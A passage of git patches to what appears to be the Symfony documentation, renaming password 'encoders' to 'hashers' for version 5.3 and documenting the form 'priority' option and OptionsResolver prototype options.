                     algorithm="sodium"
                 />
 
-                <!-- Sodium encoder with custom options -->
+                <!-- Sodium hasher with custom options -->
                 <!-- memory_cost: amount in KiB. (16384 = 16 MiB)
                      time_cost: number of iterations -->
-                <encoder
+                <security:password-hasher
                     class="App\Entity\User"
                     algorithm="sodium"
                     memory_cost="16384"
                     time_cost="2"
                 />
 
-                <!-- MessageDigestPasswordEncoder encoder using SHA512 hashing with default options -->
-                <encoder
+                <!-- MessageDigestPasswordHasher hasher using SHA512 hashing with default options -->
+                <security:password-hasher
                     class="App\Entity\User"
                     algorithm="sha512"
                 />
@@ -217,55 +218,61 @@ encoding algorithm. Also, each algorithm defines different config options:
 
         $container->loadFromExtension('security', [
             // ...
-            'encoders' => [
-                // auto encoder with default options
+            'password_hashers' => [
+                // auto hasher with default options
                 User::class => [
                     'algorithm' => 'auto',
                 ],
 
-                // auto encoder with custom options
+                // auto hasher with custom options
                 User::class => [
                     'algorithm' => 'auto',
                     'cost'      => 15,
                 ],
 
-                // Sodium encoder with default options
+                // Sodium hasher with default options
                 User::class => [
                     'algorithm' => 'sodium',
                 ],
 
-                // Sodium encoder with custom options
+                // Sodium hasher with custom options
                 User::class => [
                     'algorithm' => 'sodium',
                     'memory_cost' => 16384, // Amount in KiB. (16384 = 16 MiB)
                     'time_cost' => 2,       // Number of iterations
                 ],
 
-                // MessageDigestPasswordEncoder encoder using SHA512 hashing with default options
+                // MessageDigestPasswordHasher hasher using SHA512 hashing with default options
                 User::class => [
                     'algorithm' => 'sha512',
                 ],
             ],
         ]);
 
+.. versionadded:: 5.3
+
+    The ``password_hashers`` option was introduced in Symfony 5.3. In previous
+    versions it was called ``encoders``.
+
 .. tip::
 
-    You can also create your own password encoders as services and you can even
-    select a different password encoder for each user instance. Read
-    :doc:`this article </security/named_encoders>` for more details.
+    You can also create your own password hashers as services and you can even
+    select a different password hasher for each user instance. Read
+    :doc:`this article </security/named_hashers>` for more details.
 
 .. tip::
 
-    Encoding passwords is resource intensive and takes time in order to generate
+    Hashing passwords is resource intensive and takes time in order to generate
     secure password hashes. In tests however, secure hashes are not important, so
-    you can change the encoders configuration in ``test`` environment to run tests faster:
+    you can change the password hasher configuration in ``test`` environment to
+    run tests faster:
 
     .. configuration-block::
 
         .. code-block:: yaml
 
             # config/packages/test/security.yaml
-            encoders:
+            password_hashers:
                 # Use your user class name here
                 App\Entity\User:
                     algorithm: auto # This should be the same value as in config/packages/security.yaml
@@ -289,7 +296,7 @@ encoding algorithm. Also, each algorithm defines different config options:
                     <!-- cost: Lowest possible value for bcrypt -->
                     <!-- time_cost: Lowest possible value for argon -->
                     <!-- memory_cost: Lowest possible value for argon -->
-                    <encoder
+                    <security:password-hasher
                         class="App\Entity\User"
                         algorithm="auto"
                         cost="4"
@@ -305,7 +312,7 @@ encoding algorithm. Also, each algorithm defines different config options:
             use App\Entity\User;
 
             $container->loadFromExtension('security', [
-                'encoders' => [
+                'password_hashers' => [
                     // Use your user class name here
                     User::class => [
                         'algorithm' => 'auto', // This should be the same value as in config/packages/security.yaml
@@ -318,44 +325,46 @@ encoding algorithm. Also, each algorithm defines different config options:
 
 .. _reference-security-sodium:
 .. _using-the-argon2i-password-encoder:
+.. _using-the-sodium-password-encoder:
 
-Using the Sodium Password Encoder
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Using the Sodium Password Hasher
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-It uses the `Argon2 key derivation function`_ and it's the encoder recommended
+It uses the `Argon2 key derivation function`_ and it's the hasher recommended
 by Symfony. Argon2 support was introduced in PHP 7.2, but if you use an earlier
 PHP version, you can install the `libsodium`_ PHP extension.
 
-The encoded passwords are ``96`` characters long, but due to the hashing
+The hashed passwords are ``96`` characters long, but due to the hashing
 requirements saved in the resulting hash this may change in the future, so make
 sure to allocate enough space for them to be persisted. Also, passwords include
 the `cryptographic salt`_ inside them (it's generated automatically for each new
 password) so you don't have to deal with it.
 
 .. _reference-security-encoder-auto:
+.. _using-the-auto-password-encoder:
 
-Using the "auto" Password Encoder
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Using the "auto" Password Hasher
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-It selects automatically the best possible encoder. Currently, it tries to use
+It selects automatically the best possible hasher. Currently, it tries to use
 Sodium by default and falls back to the `bcrypt password hashing function`_ if
 not possible. In the future, when PHP adds new hashing techniques, it may use
 different password hashers.
 
-It produces encoded passwords with ``60`` characters long, so make sure to
+It produces hashed passwords with ``60`` characters long, so make sure to
 allocate enough space for them to be persisted. Also, passwords include the
 `cryptographic salt`_ inside them (it's generated automatically for each new
 password) so you don't have to deal with it.
 
 Its only configuration option is ``cost``, which is an integer in the range of
 ``4-31`` (by default, ``13``). Each single increment of the cost **doubles the
-time** it takes to encode a password. It's designed this way so the password
+time** it takes to hash a password. It's designed this way so the password
 strength can be adapted to the future improvements in computation power.
 
 You can change the cost at any time — even if you already have some passwords
-encoded using a different cost. New passwords will be encoded using the new
-cost, while the already encoded ones will be validated using a cost that was
-used back when they were encoded.
+hashed using a different cost. New passwords will be hashed using the new
+cost, while the already hashed ones will be validated using a cost that was
+used back when they were hashed.
 
 .. tip::
 
@@ -364,13 +373,14 @@ used back when they were encoded.
     environment configuration.
 
 .. _reference-security-pbkdf2:
+.. _using-the-pbkdf2-encoder:
 
-Using the PBKDF2 Encoder
-~~~~~~~~~~~~~~~~~~~~~~~~
+Using the PBKDF2 Hasher
+~~~~~~~~~~~~~~~~~~~~~~~
 
-Using the `PBKDF2`_ encoder is no longer recommended since PHP added support for
+Using the `PBKDF2`_ hasher is no longer recommended since PHP added support for
 Sodium and BCrypt. Legacy application still using it are encouraged to upgrade
-to those newer encoding algorithms.
+to those newer hashing algorithms.
 
 firewalls
 ---------
diff --git a/security.rst b/security.rst
index 57c306fb26d..f5f282f7efa 100644
--- a/security.rst
+++ b/security.rst
@@ -200,12 +200,13 @@ here: :doc:`User Providers </security/user_provider>`.
 
 .. _security-encoding-user-password:
 .. _encoding-the-user-s-password:
+.. _2c-encoding-passwords:
 
-2c) Encoding Passwords
-----------------------
+2c) Hashing Passwords
+---------------------
 
 Not all applications have "users" that need passwords. *If* your users have passwords,
-you can control how those passwords are encoded in ``security.yaml``. The ``make:user``
+you can control how those passwords are hashed in ``security.yaml``. The ``make:user``
 command will pre-configure this for you:
 
 .. configuration-block::
@@ -216,10 +217,10 @@ command will pre-configure this for you:
         security:
             # ...
 
-            encoders:
+            password_hashers:
                 # use your user class name here
                 App\Entity\User:
-                    # Use native password encoder, which auto-selects the best
+                    # Use native password hasher, which auto-selects the best
                     # possible hashing algorithm (starting from Symfony 5.3 this is "bcrypt")
                     algorithm: auto
 
@@ -238,7 +239,7 @@ command will pre-configure this for you:
             <config>
                 <!-- ... -->
 
-                <encoder class="App\Entity\User"
+                <security:password-hasher class="App\Entity\User"
                     algorithm="auto"
                     cost="12"/>
 
@@ -254,7 +255,7 @@ command will pre-configure this for you:
         $container->loadFromExtension('security', [
             // ...
 
-            'encoders' => [
+            'password_hashers' => [
                 User::class => [
                     'algorithm' => 'auto',
                     'cost' => 12,
@@ -264,8 +265,13 @@ command will pre-configure this for you:
             // ...
         ]);
 
-Now that Symfony knows *how* you want to encode the passwords, you can use the
-``UserPasswordEncoderInterface`` service to do this before saving your users to
+.. versionadded:: 5.3
+
+    The ``password_hashers`` option was introduced in Symfony 5.3. In previous
+    versions it was called ``encoders``.
+
+Now that Symfony knows *how* you want to hash the passwords, you can use the
+``UserPasswordHasherInterface`` service to do this before saving your users to
 the database.
 
 .. _user-data-fixture:
@@ -280,22 +286,22 @@ create dummy database users:
     The class name of the fixtures to create (e.g. AppFixtures):
     > UserFixtures
 
-Use this service to encode the passwords:
+Use this service to hash the passwords:
 
 .. code-block:: diff
 
       // src/DataFixtures/UserFixtures.php
 
-    + use Symfony\Component\Security\Core\Encoder\UserPasswordEncoderInterface;
+    + use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface;
       // ...
 
       class UserFixtures extends Fixture
       {
-    +     private $passwordEncoder;
+    +     private $passwordHasher;
 
-    +     public function __construct(UserPasswordEncoderInterface $passwordEncoder)
+    +     public function __construct(UserPasswordHasherInterface $passwordHasher)
     +     {
-    +         $this->passwordEncoder = $passwordEncoder;
+    +         $this->passwordHasher = $passwordHasher;
     +     }
 
           public function load(ObjectManager $manager)
@@ -303,7 +309,7 @@ Use this service to encode the passwords:
               $user = new User();
               // ...
 
-    +         $user->setPassword($this->passwordEncoder->encodePassword(
+    +         $user->setPassword($this->passwordHasher->hashPassword(
     +             $user,
     +             'the_new_password'
     +         ));
@@ -312,11 +318,11 @@ Use this service to encode the passwords:
           }
       }
 
-You can manually encode a password by running:
+You can manually hash a password by running:
 
 .. code-block:: terminal
 
-    $ php bin/console security:encode-password
+    $ php bin/console security:hash-password
 
 .. _security-yaml-firewalls:
 .. _security-firewalls:
@@ -1503,7 +1509,7 @@ Authentication (Identifying/Logging in the User)
     security/remember_me
     security/impersonating_user
     security/user_checkers
-    security/named_encoders
+    security/named_hashers
     security/multiple_guard_authenticators
     security/firewall_restriction
     security/csrf
diff --git a/security/named_encoders.rst b/security/named_hashers.rst
similarity index 72%
rename from security/named_encoders.rst
rename to security/named_hashers.rst
index 8ff58f0fbef..c377cfa28e9 100644
--- a/security/named_encoders.rst
+++ b/security/named_hashers.rst
@@ -1,10 +1,10 @@
 .. index::
     single: Security; Named Encoders
 
-How to Use A Different Password Encoder Algorithm Per User
-==========================================================
+How to Use A Different Password Hasher Algorithm Per User
+=========================================================
 
-Usually, the same password encoder is used for all users by configuring it
+Usually, the same password hasher is used for all users by configuring it
 to apply to all instances of a specific class:
 
 .. configuration-block::
@@ -14,7 +14,7 @@ to apply to all instances of a specific class:
         # config/packages/security.yaml
         security:
             # ...
-            encoders:
+            password_hashers:
                 App\Entity\User:
                     algorithm: auto
                     cost: 12
@@ -33,7 +33,7 @@ to apply to all instances of a specific class:
         >
             <config>
                 <!-- ... -->
-                <encoder class="App\Entity\User"
+                <security:password-hasher class="App\Entity\User"
                     algorithm="auto"
                     cost="12"
                 />
@@ -47,7 +47,7 @@ to apply to all instances of a specific class:
 
         $container->loadFromExtension('security', [
             // ...
-            'encoders' => [
+            'password_hashers' => [
                 User::class => [
                     'algorithm' => 'auto',
                     'cost' => 12,
@@ -55,13 +55,13 @@ to apply to all instances of a specific class:
             ],
         ]);
 
-Another option is to use a "named" encoder and then select which encoder
+Another option is to use a "named" hasher and then select which hasher
 you want to use dynamically.
 
 In the previous example, you've set the ``auto`` algorithm for ``App\Entity\User``.
 This may be secure enough for a regular user, but what if you want your admins
 to have a stronger algorithm, for example ``auto`` with a higher cost. This can
-be done with named encoders:
+be done with named hashers:
 
 .. configuration-block::
 
@@ -70,7 +70,7 @@ be done with named encoders:
         # config/packages/security.yaml
         security:
             # ...
-            encoders:
+            password_hashers:
                 harsh:
                     algorithm: auto
                     cost: 15
@@ -90,7 +90,7 @@ be done with named encoders:
 
             <config>
                 <!-- ... -->
-                <encoder class="harsh"
+                <security:password-hasher class="harsh"
                     algorithm="auto"
                     cost="15"/>
             </config>
@@ -101,7 +101,7 @@ be done with named encoders:
         // config/packages/security.php
         $container->loadFromExtension('security', [
             // ...
-            'encoders' => [
+            'password_hashers' => [
                 'harsh' => [
                     'algorithm' => 'auto',
                     'cost'      => '15',
@@ -115,33 +115,33 @@ be done with named encoders:
     then the recommended hashing algorithm to use is
     :ref:`Sodium <reference-security-sodium>`.
 
-This creates an encoder named ``harsh``. In order for a ``User`` instance
+This creates a hasher named ``harsh``. In order for a ``User`` instance
 to use it, the class must implement
-:class:`Symfony\\Component\\Security\\Core\\Encoder\\EncoderAwareInterface`.
-The interface requires one method - ``getEncoderName()`` - which should return
-the name of the encoder to use::
+:class:`Symfony\\Component\\PasswordHasher\\Hasher\\PasswordHasherAwareInterface`.
+The interface requires one method - ``getPasswordHasherName()`` - which should return
+the name of the hasher to use::
 
     // src/Entity/User.php
     namespace App\Entity;
 
-    use Symfony\Component\Security\Core\Encoder\EncoderAwareInterface;
+    use Symfony\Component\PasswordHasher\Hasher\PasswordHasherAwareInterface;
     use Symfony\Component\Security\Core\User\UserInterface;
 
-    class User implements UserInterface, EncoderAwareInterface
+    class User implements UserInterface, PasswordHasherAwareInterface
     {
-        public function getEncoderName(): ?string
+        public function getPasswordHasherName(): ?string
         {
             if ($this->isAdmin()) {
                 return 'harsh';
             }
 
-            return null; // use the default encoder
+            return null; // use the default hasher
         }
     }
 
-If you created your own password encoder implementing the
-:class:`Symfony\\Component\\Security\\Core\\Encoder\\PasswordEncoderInterface`,
-you must register a service for it in order to use it as a named encoder:
+If you created your own password hasher implementing the
+:class:`SSymfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasherInterface`,
+you must register a service for it in order to use it as a named hasher:
 
 .. configuration-block::
 
@@ -150,9 +150,9 @@ you must register a service for it in order to use it as a named encoder:
         # config/packages/security.yaml
         security:
             # ...
-            encoders:
-                app_encoder:
-                    id: 'App\Security\Encoder\MyCustomPasswordEncoder'
+            password_hashers:
+                app_hasher:
+                    id: 'App\Security\Hasher\MyCustomPasswordHasher'
 
     .. code-block:: xml
 
@@ -169,8 +169,8 @@ you must register a service for it in order to use it as a named encoder:
 
             <config>
                 <!-- ... -->
-                <encoder class="app_encoder"
-                    id="App\Security\Encoder\MyCustomPasswordEncoder"/>
+                <security:password_hasher class="app_hasher"
+                    id="App\Security\Hasher\MyCustomPasswordHasher"/>
             </config>
         </srv:container>
 
@@ -178,18 +178,18 @@ you must register a service for it in order to use it as a named encoder:
 
         // config/packages/security.php
         // ...
-        use App\Security\Encoder\MyCustomPasswordEncoder;
+        use App\Security\Hasher\MyCustomPasswordHasher;
 
         $container->loadFromExtension('security', [
             // ...
-            'encoders' => [
-                'app_encoder' => [
-                    'id' => MyCustomPasswordEncoder::class,
+            'password_hashers' => [
+                'app_hasher' => [
+                    'id' => MyCustomPasswordHasher::class,
                 ],
             ],
         ]);
 
-This creates an encoder named ``app_encoder`` from a service with the ID
-``App\Security\Encoder\MyCustomPasswordEncoder``.
+This creates a hasher named ``app_hasher`` from a service with the ID
+``App\Security\Hasher\MyCustomPasswordHasher``.
 
 .. _`libsodium`: https://pecl.php.net/package/libsodium
diff --git a/security/password_migration.rst b/security/password_migration.rst
index 52e263d478c..f49e01c887a 100644
--- a/security/password_migration.rst
+++ b/security/password_migration.rst
@@ -9,16 +9,18 @@ hash algorithms. This means that if a better hash algorithm is supported on your
 system, the user's password should be *rehashed* using the newer algorithm and
 stored. That's possible with the ``migrate_from`` option:
 
-#. `Configure a new Encoder Using "migrate_from"`_
+#. `Configure a new Hasher Using "migrate_from"`_
 #. `Upgrade the Password`_
-#. Optionally, `Trigger Password Migration From a Custom Encoder`_
+#. Optionally, `Trigger Password Migration From a Custom Hasher`_
 
-Configure a new Encoder Using "migrate_from"
-----------------------------------------------
+.. _configure-a-new-encoder-using migrate_from:
+
+Configure a new Hasher Using "migrate_from"
+-------------------------------------------
 
 When a better hashing algorithm becomes available, you should keep the existing
-encoder(s), rename it, and then define the new one. Set the ``migrate_from`` option
-on the new encoder to point to the old, legacy encoder(s):
+hasher(s), rename it, and then define the new one. Set the ``migrate_from`` option
+on the new hasher to point to the old, legacy hasher(s):
 
 .. configuration-block::
 
@@ -28,19 +30,19 @@ on the new encoder to point to the old, legacy encoder(s):
         security:
             # ...
 
-            encoders:
-                # an encoder used in the past for some users
+            password_hashers:
+                # a hasher used in the past for some users
                 legacy:
                     algorithm: sha256
                     encode_as_base64: false
                     iterations: 1
 
                 App\Entity\User:
-                    # the new encoder, along with its options
+                    # the new hasher, along with its options
                     algorithm: sodium
                     migrate_from:
-                        - bcrypt # uses the "bcrypt" encoder with the default options
-                        - legacy # uses the "legacy" encoder configured above
+                        - bcrypt # uses the "bcrypt" hasher with the default options
+                        - legacy # uses the "legacy" hasher configured above
 
     .. code-block:: xml
 
@@ -57,22 +59,22 @@ on the new encoder to point to the old, legacy encoder(s):
             <security:config>
                 <!-- ... -->
 
-                <security:encoder class="legacy"
+                <security:password-hasher class="legacy"
                     algorithm="sha256"
                     encode-as-base64="false"
                     iterations="1"
                 />
 
-                <!-- algorithm: the new encoder, along with its options -->
-                <security:encoder class="App\Entity\User"
+                <!-- algorithm: the new hasher, along with its options -->
+                <security:password-hasher class="App\Entity\User"
                     algorithm="sodium"
                 >
-                    <!-- uses the bcrypt encoder with the default options -->
+                    <!-- uses the bcrypt hasher with the default options -->
                     <security:migrate-from>bcrypt</security:migrate-from>
 
-                    <!-- uses the legacy encoder configured above -->
+                    <!-- uses the legacy hasher configured above -->
                     <security:migrate-from>legacy</security:migrate-from>
-                </security:encoder>
+                </security:password-hasher>
             </security:config>
         </container>
 
@@ -82,7 +84,7 @@ on the new encoder to point to the old, legacy encoder(s):
         $container->loadFromExtension('security', [
             // ...
 
-            'encoders' => [
+            'password_hashers' => [
                 'legacy' => [
                     'algorithm' => 'sha256',
                     'encode_as_base64' => false,
@@ -90,11 +92,11 @@ on the new encoder to point to the old, legacy encoder(s):
                 ],
 
                 'App\Entity\User' => [
-                    // the new encoder, along with its options
+                    // the new hasher, along with its options
                     'algorithm' => 'sodium',
                     'migrate_from' => [
-                        'bcrypt', // uses the "bcrypt" encoder with the default options
-                        'legacy', // uses the "legacy" encoder configured above
+                        'bcrypt', // uses the "bcrypt" hasher with the default options
+                        'legacy', // uses the "legacy" hasher configured above
                     ],
                 ],
             ],
@@ -102,14 +104,14 @@ on the new encoder to point to the old, legacy encoder(s):
 
 With this setup:
 
-* New users will be encoded with the new algorithm;
+* New users will be hashed with the new algorithm;
 * Whenever a user logs in whose password is still stored using the old algorithm,
   Symfony will verify the password with the old algorithm and then rehash
   and update the password using the new algorithm.
 
 .. tip::
 
-    The *auto*, *native*, *bcrypt* and *argon* encoders automatically enable
+    The *auto*, *native*, *bcrypt* and *argon* hashers automatically enable
     password migration using the following list of ``migrate_from`` algorithms:
 
     #. :ref:`PBKDF2 <reference-security-pbkdf2>` (which uses :phpfunction:`hash_pbkdf2`);
@@ -117,7 +119,7 @@ With this setup:
 
     Both use the ``hash_algorithm`` setting as the algorithm. It is recommended to
     use ``migrate_from`` instead of ``hash_algorithm``, unless the *auto*
-    encoder is used.
+    hasher is used.
 
 Upgrade the Password
 --------------------
@@ -182,10 +184,10 @@ storing the newly created password hash::
     {
         // ...
 
-        public function upgradePassword(UserInterface $user, string $newEncodedPassword): void
+        public function upgradePassword(UserInterface $user, string $newHashedPassword): void
         {
-            // set the new encoded password on the User object
-            $user->setPassword($newEncodedPassword);
+            // set the new hashed password on the User object
+            $user->setPassword($newHashedPassword);
 
             // execute the queries on the database
             $this->getEntityManager()->flush();
@@ -211,34 +213,36 @@ the user provider::
     {
         // ...
 
-        public function upgradePassword(UserInterface $user, string $newEncodedPassword): void
+        public function upgradePassword(UserInterface $user, string $newHashedPassword): void
         {
-            // set the new encoded password on the User object
-            $user->setPassword($newEncodedPassword);
+            // set the new hashed password on the User object
+            $user->setPassword($newHashedPassword);
 
             // ... store the new password
         }
     }
 
-Trigger Password Migration From a Custom Encoder
-------------------------------------------------
+.. _trigger-password-migration-from-a-custom-encoder:
+
+Trigger Password Migration From a Custom Hasher
+-----------------------------------------------
 
-If you're using a custom password encoder, you can trigger the password
+If you're using a custom password hasher, you can trigger the password
 migration by returning ``true`` in the ``needsRehash()`` method::
 
-    // src/Security/CustomPasswordEncoder.php
+    // src/Security/CustomPasswordHasher.php
     namespace App\Security;
 
     // ...
-    use Symfony\Component\Security\Core\Encoder\PasswordEncoderInterface;
+    use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface;
 
-    class CustomPasswordEncoder implements PasswordEncoderInterface
+    class CustomPasswordHasher implements UserPasswordHasherInterface
     {
         // ...
 
-        public function needsRehash(string $encoded): bool
+        public function needsRehash(string $hashed): bool
         {
-            // check whether the current password is hash using an outdated encoder
+            // check whether the current password is hashed using an outdated hasher
             $hashIsOutdated = ...;
 
             return $hashIsOutdated;
diff --git a/security/user_provider.rst b/security/user_provider.rst
index e7a3cdec79a..9c3ca7ba3ad 100644
--- a/security/user_provider.rst
+++ b/security/user_provider.rst
@@ -224,7 +224,7 @@ prototypes and for limited applications that don't store users in databases.
 
 This user provider stores all user information in a configuration file,
 including their passwords. That's why the first step is to configure how these
-users will encode their passwords:
+users will hash their passwords:
 
 .. configuration-block::
 
@@ -233,7 +233,7 @@ users will encode their passwords:
         # config/packages/security.yaml
         security:
             # ...
-            encoders:
+            password_hashers:
                 # this internal class is used by Symfony to represent in-memory users
                 # (the 'InMemoryUser' class was introduced in Symfony 5.3.
                 # In previous versions it was called 'User')
@@ -257,7 +257,7 @@ users will encode their passwords:
                 <!-- this internal class is used by Symfony to represent in-memory users -->
                 <!-- (the 'InMemoryUser' class was introduced in Symfony 5.3.
                      In previous versions it was called 'User') -->
-                <encoder class="Symfony\Component\Security\Core\User\InMemoryUser"
+                <security:password-hasher class="Symfony\Component\Security\Core\User\InMemoryUser"
                     algorithm="auto"
                 />
             </config>
@@ -274,18 +274,18 @@ users will encode their passwords:
 
         $container->loadFromExtension('security', [
             // ...
-            'encoders' => [
+            'password_hashers' => [
                 User::class => [
                     'algorithm' => 'auto',
                 ],
             ],
         ]);
 
-Then, run this command to encode the plain text passwords of your users:
+Then, run this command to hash the plain text passwords of your users:
 
 .. code-block:: terminal
 
-    $ php bin/console security:encode-password
+    $ php bin/console security:hash-password
 
 Now you can configure all the user information in ``config/packages/security.yaml``:
 
@@ -304,7 +304,7 @@ Now you can configure all the user information in ``config/packages/security.yam
 .. caution::
 
     When using a ``memory`` provider, and not the ``auto`` algorithm, you have
-    to choose an encoding without salt (i.e. ``bcrypt``).
+    to choose a hashing algorithm without salt (i.e. ``bcrypt``).
 
 .. _security-ldap-user-provider:
 
@@ -427,13 +427,13 @@ command will generate a nice skeleton to get you started::
         }
 
         /**
-         * Upgrades the encoded password of a user, typically for using a better hash algorithm.
+         * Upgrades the hashed password of a user, typically for using a better hash algorithm.
          */
-        public function upgradePassword(UserInterface $user, string $newEncodedPassword): void
+        public function upgradePassword(UserInterface $user, string $newHashedPassword): void
         {
-            // TODO: when encoded passwords are in use, this method should:
+            // TODO: when hashed passwords are in use, this method should:
             // 1. persist the new password in the user storage
-            // 2. update the $user object with $user->setPassword($newEncodedPassword);
+            // 2. update the $user object with $user->setPassword($newHashedPassword);
         }
     }
 

From 7e4edd49164c2aa145ef4829074b57d4eeb2f8e9 Mon Sep 17 00:00:00 2001
From: Robin Chalas <robin.chalas@gmail.com>
Date: Sun, 9 May 2021 14:00:50 +0200
Subject: [PATCH 0822/5766] Fixed some typos related to 5.3 security changes

---
 security/named_hashers.rst | 2 +-
 security/user_provider.rst | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/security/named_hashers.rst b/security/named_hashers.rst
index c377cfa28e9..200a2174c28 100644
--- a/security/named_hashers.rst
+++ b/security/named_hashers.rst
@@ -140,7 +140,7 @@ the name of the hasher to use::
     }
 
 If you created your own password hasher implementing the
-:class:`SSymfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasherInterface`,
+:class:`Symfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasherInterface`,
 you must register a service for it in order to use it as a named hasher:
 
 .. configuration-block::
diff --git a/security/user_provider.rst b/security/user_provider.rst
index 9c3ca7ba3ad..3f5a7a5a7dd 100644
--- a/security/user_provider.rst
+++ b/security/user_provider.rst
@@ -275,7 +275,7 @@ users will hash their passwords:
         $container->loadFromExtension('security', [
             // ...
             'password_hashers' => [
-                User::class => [
+                InMemoryUser::class => [
                     'algorithm' => 'auto',
                 ],
             ],

From 454087da68f63fda7577969a55554f73a1f88f56 Mon Sep 17 00:00:00 2001
From: Yonel Ceruto <yonelceruto@gmail.com>
Date: Sun, 9 May 2021 22:42:02 -0400
Subject: [PATCH 0823/5766] Documenting form field priority option

---
 reference/forms/types/form.rst                 |  3 +++
 reference/forms/types/options/priority.rst.inc | 10 ++++++++++
 2 files changed, 13 insertions(+)
 create mode 100644 reference/forms/types/options/priority.rst.inc

diff --git a/reference/forms/types/form.rst b/reference/forms/types/form.rst
index 43a5a398bdf..f77d0f11cd0 100644
--- a/reference/forms/types/form.rst
+++ b/reference/forms/types/form.rst
@@ -48,6 +48,7 @@ on all types for which ``FormType`` is the parent.
 |                           | - `translation_domain`_                                            |
 |                           | - `label_translation_parameters`_                                  |
 |                           | - `attr_translation_parameters`_                                   |
+|                           | - `priority`_                                                      |
 +---------------------------+--------------------------------------------------------------------+
 | Default invalid message   | This value is not valid.                                           |
 +---------------------------+--------------------------------------------------------------------+
@@ -189,3 +190,5 @@ of the form type tree (i.e. it cannot be used as a form type on its own).
 .. include:: /reference/forms/types/options/label_translation_parameters.rst.inc
 
 .. include:: /reference/forms/types/options/attr_translation_parameters.rst.inc
+
+.. include:: /reference/forms/types/options/priority.rst.inc
diff --git a/reference/forms/types/options/priority.rst.inc b/reference/forms/types/options/priority.rst.inc
new file mode 100644
index 00000000000..e836f1f752f
--- /dev/null
+++ b/reference/forms/types/options/priority.rst.inc
@@ -0,0 +1,10 @@
+priority
+~~~~~~~~
+
+**type**: ``integer`` **default**: ``0``
+
+    Allows you to set the field rendering priority. This option will affect
+    the view order only, sorting all fields in order of importance instead of
+    simply numerical order, i.e. fields with higher priority will be rendered
+    first, fields with lower priority will be rendered last and fields with
+    equal priority will keep the original order.

From 04316b25f22b64db069551f7a0e0b1fb5596cff5 Mon Sep 17 00:00:00 2001
From: Yonel Ceruto <yonelceruto@gmail.com>
Date: Mon, 10 May 2021 00:16:58 -0400
Subject: [PATCH 0824/5766] Documenting prototype options

---
 components/options_resolver.rst | 49 +++++++++++++++++++++++++++++++++
 1 file changed, 49 insertions(+)

diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index 747132b516e..7e803995ff4 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -717,6 +717,55 @@ In same way, parent options can access to the nested options as normal arrays::
     The fact that an option is defined as nested means that you must pass
     an array of values to resolve it at runtime.
 
+Prototype Options
+~~~~~~~~~~~~~~~~~
+
+There are situations where you will have to resolve and validate a set of
+options that may repeat many times within another option. Let's imagine a
+``connections`` option that will accept an array of database connections
+with ``host``, ``database``, ``user`` and ``password`` each.
+
+To achieve it, you can establish the nested definition of this ``connections``
+option as prototype::
+
+    $resolver->setDefault('connections', function (OptionsResolver $connResolver) {
+        $connResolver
+            ->setPrototype(true)
+            ->setRequired(['host', 'database'])
+            ->setDefaults(['user' => 'root', 'password' => null]);
+    });
+
+According to the prototype definition in the example above, it is possible
+to have multiple connection arrays like following::
+
+    $resolver->resolve([
+        'connections' => [
+            'default' => [
+                'host' => '127.0.0.1',
+                'database' => 'symfony',
+            ],
+            'test' => [
+                'host' => '127.0.0.1',
+                'database' => 'symfony_test',
+                'user' => 'test',
+                'password' => 'test',
+            ],
+            // ...
+        ],
+    ]);
+
+The array keys (``default``, ``test``, etc.) of this prototype option are
+validation-free and can be any valid key you want to differentiate the connections.
+
+.. note::
+
+    A prototype option can only be defined inside a nested option and
+    during its resolution it will expect an array of array.
+
+.. versionadded:: 5.3
+
+    The ``setPrototype()`` method was introduced in Symfony 5.3.
+
 Deprecating the Option
 ~~~~~~~~~~~~~~~~~~~~~~
 

From ac05a6ef72f703c20ce959bb1c5f1377bc8ba51f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 10 May 2021 09:28:02 +0200
Subject: [PATCH 0825/5766] Minor tweaks

---
 components/options_resolver.rst | 18 +++++++++---------
 1 file changed, 9 insertions(+), 9 deletions(-)

diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index 7e803995ff4..5b32a612a51 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -720,13 +720,16 @@ In same way, parent options can access to the nested options as normal arrays::
 Prototype Options
 ~~~~~~~~~~~~~~~~~
 
+.. versionadded:: 5.3
+
+    Prototype options were introduced in Symfony 5.3.
+
 There are situations where you will have to resolve and validate a set of
 options that may repeat many times within another option. Let's imagine a
 ``connections`` option that will accept an array of database connections
 with ``host``, ``database``, ``user`` and ``password`` each.
 
-To achieve it, you can establish the nested definition of this ``connections``
-option as prototype::
+The best way to implement this is to define the ``connections`` option as prototype::
 
     $resolver->setDefault('connections', function (OptionsResolver $connResolver) {
         $connResolver
@@ -736,7 +739,7 @@ option as prototype::
     });
 
 According to the prototype definition in the example above, it is possible
-to have multiple connection arrays like following::
+to have multiple connection arrays like the following::
 
     $resolver->resolve([
         'connections' => [
@@ -755,16 +758,13 @@ to have multiple connection arrays like following::
     ]);
 
 The array keys (``default``, ``test``, etc.) of this prototype option are
-validation-free and can be any valid key you want to differentiate the connections.
+validation-free and can be any arbitrary value that helps differentiate the
+connections.
 
 .. note::
 
     A prototype option can only be defined inside a nested option and
-    during its resolution it will expect an array of array.
-
-.. versionadded:: 5.3
-
-    The ``setPrototype()`` method was introduced in Symfony 5.3.
+    during its resolution it will expect an array of arrays.
 
 Deprecating the Option
 ~~~~~~~~~~~~~~~~~~~~~~

From 8f8b1e8430ed7fa8069714a55afc49392fe55692 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 11 May 2021 12:48:28 +0200
Subject: [PATCH 0826/5766] Minor tweaks

---
 reference/forms/types/options/priority.rst.inc | 16 +++++++++++-----
 1 file changed, 11 insertions(+), 5 deletions(-)

diff --git a/reference/forms/types/options/priority.rst.inc b/reference/forms/types/options/priority.rst.inc
